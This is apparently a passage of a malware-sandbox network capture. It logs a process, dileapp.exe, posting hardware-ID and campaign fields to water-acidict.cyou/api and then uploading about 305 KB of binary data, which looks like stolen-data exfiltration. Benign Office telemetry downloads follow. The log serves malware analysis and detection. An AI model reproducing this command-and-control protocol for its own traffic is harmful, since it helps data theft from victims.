cloudflare CF-RAY: 8ea5edc0fe89436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2240&min_rtt=2234&rtt_var=842&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21345&delivery_rate=1307072&cwnd=184&unsent_bytes=0&cid=7e1a315f67e1d927&ts=1063&x=0"
2024-11-29 22:10:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49774	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:39 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SCOYR4SPLUV5I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: water-acidict.cyou
2024-11-29 22:10:39 UTC	1237	OUT	Data Raw: 2d 2d 53 43 4f 59 52 34 53 50 4c 55 56 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 53 43 4f 59 52 34 53 50 4c 55 56 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 43 4f 59 52 34 53 50 4c 55 56 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 53 43 4f 59 52 34 53 50 4c 55 56 Data Ascii: --SCOYR4SPLUV5IContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--SCOYR4SPLUV5IContent-Disposition: form-data; name="pid"1--SCOYR4SPLUV5IContent-Disposition: form-data; name="lid"c2CoW0--bandl--SCOYR4SPLUV
2024-11-29 22:10:39 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pg6u3j164cd9r2d6kqctm2o7lc; expires=Tue, 25-Mar-2025 15:57:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RNc2YYUNuTdBVtnitNvcxps12kwH%2FM1DB3l2Yi2yoI7GHBiqApNlOkSDo4%2BdsiEsdNaHhmooQiHWoe6rXb4G8CbPi17fNgC8zbSBZ7F5%2B0RgljCghJa3aZvSZlSf4z3SX1MzpY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5edd3cfa543fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1913&min_rtt=1808&rtt_var=753&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2151&delivery_rate=1615044&cwnd=236&unsent_bytes=0&cid=7b2b27ee7b95ebb7&ts=849&x=0"
2024-11-29 22:10:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49775	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H21GF95SIZLLSB8UP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 305436 Host: water-acidict.cyou
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: 2d 2d 48 32 31 47 46 39 35 53 49 5a 4c 4c 53 42 38 55 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 48 32 31 47 46 39 35 53 49 5a 4c 4c 53 42 38 55 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 32 31 47 46 39 35 53 49 5a 4c 4c 53 42 38 55 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d Data Ascii: --H21GF95SIZLLSB8UPContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--H21GF95SIZLLSB8UPContent-Disposition: form-data; name="pid"1--H21GF95SIZLLSB8UPContent-Disposition: form-data; name="lid"c2CoW0--bandl-
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: 91 c0 a1 bb 61 8d 8e 14 42 0c 90 a1 0b 80 3c 93 6c 96 65 61 92 62 39 99 4d 76 6e 86 44 9d 11 d3 1c 49 03 6b 6c 5e 7b 44 20 ca cc 24 86 22 7d 2c 87 3f 18 c9 48 35 0e 7f d7 1e 49 2b ba dc 90 e9 0e ee 31 1f e3 a5 cc 35 b1 52 56 fd 01 b5 53 20 84 1d 1c 01 47 20 34 10 87 1e 53 45 00 e2 4d 98 5c 33 49 43 11 3f 57 ad 49 fd e9 f6 dc 61 2b e8 b2 15 e9 3e 34 b7 89 b7 b5 ce 2f 88 d4 f6 ed 3d c7 d4 c3 95 b6 8e b8 d7 bf 28 8c d3 7a 3e ff 54 f3 69 0c 4f 8a 01 77 b1 be 6b a7 60 db e5 74 1d 11 e3 cd a9 dc 9f a9 3e 1a 10 4e 0c b3 d0 5e 91 1e 3b 6e ad e1 eb 0d 26 77 d9 d6 e6 00 bc 5d 52 a9 bb 71 a7 a8 62 41 0f dc 15 84 cd 27 c0 d1 e0 1e b8 0d 43 a1 8b c5 21 8d 0f dd 83 60 65 f0 43 bb f6 f4 61 16 c7 96 8a 90 8f 08 c3 96 b4 50 f5 69 63 66 ba 81 cb 4f 04 b1 0d d5 f9 cd 57 a1 Data Ascii: aB<leab9MvnDIkl^{D $"},?H5I+15RVS G 4SEM\3IC?WIa+>4/=(z>TiOwk`t>N^;n&w]RqbA'C!`eCaPicfOW
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: ab 03 2b 88 85 cb ff 5d 12 83 1f 86 71 06 3e f7 e6 39 ab 0a 59 7b 14 7a 95 26 02 28 18 2d 35 c0 f4 1c 91 b6 38 c0 c8 ba 93 15 76 13 f9 51 66 5a 37 5a 43 1d 8f 07 59 ea 98 ed 73 c8 ac 9e 5c fb 20 8c a5 55 30 3d 68 ce 40 6f e8 0d 81 4b 0f 40 9f 4e 2e b8 1f 71 52 e6 3e df c6 55 34 75 94 d9 7f 6f 96 61 62 98 5d 50 c6 21 40 22 bd 6e 97 01 f7 cd 63 36 07 06 77 01 09 4e a0 68 a6 e6 c8 81 1e 6b ab bc b2 be 6a 5b c3 bd 99 bf f3 02 84 e5 cd 13 97 f4 fd 0d 53 5c 68 2a 4a 6c ea 6d b0 4c 17 d4 98 90 bf 86 c8 b0 97 72 17 1c 77 53 35 a6 50 fa f1 27 37 49 f8 3e b0 dc 41 f9 ad 36 a4 04 13 50 c5 72 5c e2 2e 1f 74 5b c5 6f e5 5f b3 97 cd 8e bb dc ab ac 62 e5 b9 79 f0 47 02 18 84 60 9a d5 d7 ae 45 ac b3 9f 00 77 de b2 a0 88 38 2d 0e c3 35 5f 3f ca d7 c4 d6 3b da 42 29 ea cb Data Ascii: +]q>9Y{z&(-58vQfZ7ZCYs\ U0=h@oK@N.qR>U4uoab]P!@"nc6wNhkj[S\h*JlmLrwS5P'7I>A6Pr\.t[o_byG`Ew8-5_?;B)
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: b9 f4 43 14 9d f5 15 a3 09 97 4e 22 5d 74 d4 71 a5 76 93 91 82 ae 78 74 93 18 dd 18 ec c7 cc 0b 15 c8 7b ca ab 6c c4 2d 61 8e 22 6d 8c 83 79 e4 55 86 6b a7 a2 56 d8 35 0c 48 5f bd ec 78 68 ec 8e fe 23 57 b0 34 fe ca 29 9d 90 5c ae d8 91 d8 e0 8b 6c 3a ab da 4c 49 11 36 29 5b 6d 27 1c 32 c9 4f f4 79 a5 05 3b b2 f7 17 94 b8 b1 75 89 c5 f9 ed a2 9f 98 9a ef 8e 5e d4 60 be 5a 49 e7 f2 20 b6 39 86 b9 f3 ee fd 67 cb a5 6f 89 99 64 01 01 8e db bf 79 ed 58 50 ff 9c d1 6f 93 ae 65 00 79 7b 59 5b 05 58 87 d8 39 51 b9 fd 19 11 b4 65 6b 7a 7b 91 61 b6 a5 5f 87 e2 bd f4 f6 ba 85 a2 52 15 c9 ed ee b8 dc 2d dc d5 76 f3 14 62 18 39 13 78 9d 89 9b e4 88 42 c7 79 c3 fc 24 37 ec 26 dc 38 03 2b 21 bf 2f a0 e2 fd df f5 63 8e ad 3a de ec 45 5d b4 78 e9 14 13 f3 86 b4 a6 58 d2 Data Ascii: CN"]tqvxt{l-a"myUkV5H_xh#W4)\l:LI6)[m'2Oy;u^`ZI 9godyXPoey{Y[X9Qekz{a_R-vb9xBy$7&8+!/c:E]xX
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: 39 d1 be ce f2 83 24 73 a2 ed 6c 08 5b 73 7c 5f f1 ee b3 b7 ff 7d ad 91 41 0d 08 0e 5e fd 02 ad 6c a4 4d a3 1f 3f 2f a7 67 96 b3 39 fc 84 56 e2 49 4b 30 7c c7 9b 7a bd 87 03 59 d6 e8 ef a8 92 a5 2b 9c 37 57 b0 37 18 7c 25 81 7c 95 01 e5 f6 22 e1 f0 26 73 a5 93 e7 05 ef 31 fe d2 35 b3 8f b9 d6 51 86 bf 15 a4 f8 02 20 cb 42 5a a1 e7 2f 21 ac 4a 0e 25 b7 6d 36 ab b6 2f 80 3e 05 3a 7b 58 9a 9d fc 2c 3d 58 f9 c8 a0 9b 12 b0 62 13 4d 9a 61 9b ca 69 4d ea 03 da 85 57 b5 58 38 04 4f 24 ea 8a 8c 09 96 76 b7 48 32 82 6b dd 26 db f5 93 09 f2 ad 9d ce af 48 ad 09 25 3b e3 26 c9 43 49 3a 11 9a 1d e5 85 1a a0 c8 6d 30 ad af 50 ba 26 7f d1 c0 5e bf 9f 37 5e 8b 6b 5c aa 74 13 0c 57 cb 4e 5a dc 0f e6 1b 1d 96 53 5a 9e 73 c2 bb 34 b8 c3 a4 19 83 1e 91 b6 ab 37 fe 3d 37 02 Data Ascii: 9$sl[s\|_}A^lM?/g9VIK0\|zY+7W7\|%\|"&s15Q BZ/!J%m6/>:{X,=XbMaiMWX8O$vH2k&H%;&CI:m0P&^7^k\tWNZSZs47=7
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: 98 c0 dc 6b 57 91 08 f1 4c 31 70 9e 88 d7 b6 78 7a bf 66 3e 0b 5a 69 f8 fb 13 3d 4e 50 38 f1 4d ab ea 25 81 78 bd 19 33 ac a0 dc 6f b5 b4 0e 02 b9 ee 04 07 e1 cd e4 de df 97 3b a3 6b 17 df 38 1f 7c 79 b9 13 f7 e1 e5 65 cd fb b9 ff 74 58 83 e3 02 a8 a3 8e d0 08 d0 bb c3 66 12 70 94 0f 4f 49 b4 2b d2 ae cd 32 90 69 c9 ca 1e a2 23 93 55 12 d3 6c c8 f6 84 01 c0 9a d8 f0 e4 05 02 ed d3 60 2b 2e 58 ee da eb 95 1e 66 7a 43 2b 91 6a e6 d5 f4 d1 f5 73 d6 64 bc e7 c3 d6 3d b3 d9 ec f5 28 18 aa 5d b8 50 68 4e 68 5e 78 55 6b dd 72 df 92 7e 46 88 a8 b8 a8 f0 e6 64 37 26 23 d4 74 d3 3c da d9 04 66 85 02 87 7c 77 bf ec db e0 c6 84 e8 92 dd ef fe 64 ea 6c e3 db 0b f2 2d 87 04 01 a9 df 24 49 69 20 65 d7 9a ac 2f 09 52 1d 36 fd 44 98 9f 4c 60 c3 c5 40 47 84 d5 5b cb df 96 Data Ascii: kWL1pxzf>Zi=NP8M%x3o;k8\|yetXfpOI+2i#Ul`+.XfzC+jsd=(]PhNh^xUkr~Fd7&#t<f\|wdl-$Ii e/R6DL`@G[
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: f4 fe 39 72 8c 25 4e 90 e1 12 04 a1 10 f8 71 86 4d 97 19 fb 8e 9d 6f ea 75 30 64 d6 e5 95 94 da ca ed df a6 27 29 7a b5 d5 13 25 9c 04 d5 fd cb 02 8d 0f 68 2c 9e 52 5b 19 93 0f 01 96 4e 82 4f c5 f5 0d 86 1e ec 3b 64 a1 fa cd 47 c1 cf a5 29 16 fd e0 30 8c 90 79 43 e7 03 a8 42 62 c4 da 0f 1c c8 7f 3c 4c 30 f1 f2 3d a2 9e e4 31 6e be 96 b2 c3 d3 fb ae 46 66 da ae c3 c4 63 43 e9 11 fc bb 7f a6 7d 35 8a 3c 22 77 ee 6d b2 e7 d5 14 fa 25 25 57 cc fc 35 21 a4 37 bd e5 59 0e b0 e8 a7 e4 f4 b1 c3 84 27 3d dc b7 79 a5 9a 35 b4 a3 d2 27 6d 32 2f ca fc f6 7e 74 22 80 51 79 a1 d0 30 bb e8 f2 2c 6b cf 79 e5 16 06 11 bb b9 b5 8c 27 bb 0f e7 ac 19 b3 1f bf d3 2d 14 82 39 c7 35 bf 2a 68 5c 0d ab c8 0a bc 7f 29 88 97 09 13 c2 6a 33 17 ad 06 b4 45 09 af 6e f8 9d 63 e4 33 f5 Data Ascii: 9r%NqMou0d')z%h,R[NO;dG)0yCBb<L0=1nFfcC}5<"wm%%W5!7Y'=y5'm2/~t"Qy0,ky'-95*h\)j3Enc3
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: e5 7b 86 61 0e c2 4f 94 cc 19 6f 07 8f 64 e8 6b 04 36 05 7f ec f4 c5 01 f3 16 03 6f 3b 96 fc ae 26 62 e1 31 65 e7 05 ef 60 e0 8a 98 fc 57 2b 8a c2 8d 5c de 08 be 43 b8 cb 09 f9 5d c8 4d 28 b2 d5 7c 10 2f 4d 9b 7b 02 2c c5 e8 e1 6e c3 1f 50 ac 21 8b 0e 91 57 ce 82 7e 46 ca f6 20 47 72 c4 3b a8 d7 4b 29 70 9b c9 dc 20 ba 7c 07 6d 57 e0 26 73 65 e2 fe 03 31 e2 f4 a2 97 03 70 53 4c de 2d 97 27 dc e0 40 4e 4c 0d 22 77 df 78 4e d8 8a 20 7b 6c ef 01 2f 21 39 3c da a5 02 bf 0d 9b 9a 4d d2 90 80 7a ff 7a 7f 7b 7b 84 b9 39 5f ee 91 f3 ad ff 19 7f 2f aa f4 c3 df cd da 1b 33 df b9 ae 6c 6a 32 d7 3d e3 ba 00 38 b5 0d 2c ec f3 3c ac f0 2a da 7b 70 af 07 1c 76 f0 6b bc bd 75 49 82 c7 45 a9 1a 39 fb ca aa b6 2c c6 48 69 c7 2a f7 b2 81 f2 1f 89 2c 16 19 a7 ce d6 3f c7 95 Data Ascii: {aOodk6o;&b1e`W+\C]M(\|/M{,nP!W~F Gr;K)p \|mW&se1pSL-'@NL"wxN {l/!9<Mzz{{9_/3lj2=8,<{pvkuIE9,Hi,?
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: 69 5b 87 fb d2 ce 8b 0d f4 7b 7f 6f e1 3e 86 bf f5 3d 6a ed d1 13 6c 41 57 87 10 26 13 98 df 64 72 f5 b1 5b 2d 5e 72 54 5d 2b fe 94 4f bf 48 25 12 d8 68 30 f9 ca e9 52 05 46 cf e5 5c f8 db 60 67 21 da 3e f6 86 ab 5c 10 b1 39 92 00 09 68 32 51 90 f2 f6 87 ea 74 bd 61 43 92 fa 6c 66 d8 1e 45 92 bd 78 38 eb d1 05 09 ea 8e 8c 67 f6 95 fa f2 b1 17 46 0f 9c 53 60 d2 0f 64 87 be bf cf 03 73 5d 0d 43 1f c5 fc b5 6d 0d 67 82 00 1c 6b 9f 0a 10 ef 5a 71 a1 ee d5 83 eb 99 6f 67 ea f2 63 72 0b 60 d2 19 74 fb 7d d5 73 5f 3b 0b 3d 0f 5f 36 0f 5f 4f 33 86 11 e7 4d c6 5d f4 08 30 6c 0f 3f 58 d7 f9 80 70 f6 f8 7e fe a7 4f 3e 6d 1e d0 9f e2 57 9b 99 79 6d cd 32 eb ad e3 4e 8d f8 52 ef 84 48 bb 58 23 65 fb b2 8d a8 23 aa 3a ad b6 60 ec 79 5a 7f fb 93 a3 77 aa df 9a 05 01 97 Data Ascii: i[{o>=jlAW&dr[-^rT]+OH%h0RF\`g!>\9h2QtaClfEx8gFS`ds]CmgkZqogcr`t}s_;=_6_O3M]0l?Xp~O>mWym2NRHX#e#:`yZw
2024-11-29 22:10:41 UTC	15331	OUT	Data Raw: fc 52 28 ac 77 d3 82 c1 52 d1 34 95 07 f0 b7 ef 70 7b c8 d8 5e 55 ae 5d 99 de 96 ce 6c 74 ef 18 69 ca 4d e4 f6 98 cb d8 d3 31 34 64 3e 78 e6 a8 32 33 f3 e1 17 e3 25 1e 31 25 9a ee cb 3c 55 86 c3 7c c4 b2 bb 64 84 27 2d 46 9b f7 11 7f 7b bf 7a ae b6 6e 7d 3c 3f 23 dc f3 a8 69 b6 cc ea 97 e3 bf a7 9d f5 cd e0 e0 7c d3 d1 27 57 06 fc 6a 3b b7 e6 21 ec e1 ab c0 0e df f3 ee 1e c3 04 12 e9 29 85 5e 93 c4 03 85 e1 4a 4b 7a eb 4b 22 da 86 5b 22 22 e1 c8 de 76 98 54 cb b7 d8 2d ee c2 30 5a 2b 88 91 13 bb 30 8d c5 ec be 82 c9 87 98 d5 14 43 f5 04 3d 55 5b a2 02 7d 72 68 a2 5d 98 ac 22 56 a6 73 9e 48 f8 73 d0 a6 e1 b3 83 2e 2b 7e 8f 47 1b cc 2f 19 f3 40 43 de bc ff 14 40 36 8d f7 e4 7f 45 37 8e 5e 53 ee 57 df 0c 6c c5 56 4f db 77 1a 02 41 8c 88 c6 9c 2f 91 c4 e9 ec Data Ascii: R(wR4p{^U]ltiM14d>x23%1%<U\|d'-F{zn}<?#i\|'Wj;!)^JKzK"[""vT-0Z+0C=U[}rh]"VsHs.+~G/@C@6E7^SWlVOwA/
2024-11-29 22:10:43 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lolq74pifvhfc525n269pnkt7q; expires=Tue, 25-Mar-2025 15:57:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PTBo2U%2FiOJp26SrJjLcFzZH8hsnprml2AyaFhny5wyB%2FZEZaKDEHgmrAT3M8bWX3sNFZYGTbJ9c7nlUWuwyw9qzcTMY8yoJxKvVpY8wvo1D2%2Brow2UJRB6R2p6OdAJRPrU406VA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ede39d2b0f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&min_rtt=1811&rtt_var=905&sent=113&recv=322&lost=0&retrans=1&sent_bytes=4228&recv_bytes=307214&delivery_rate=153490&cwnd=213&unsent_bytes=0&cid=10f16caea3300485&ts=2121&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:10:58 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221058Z-174f7845968ljs8phC1EWRe6en00000010g000000000025a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:10:58 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S 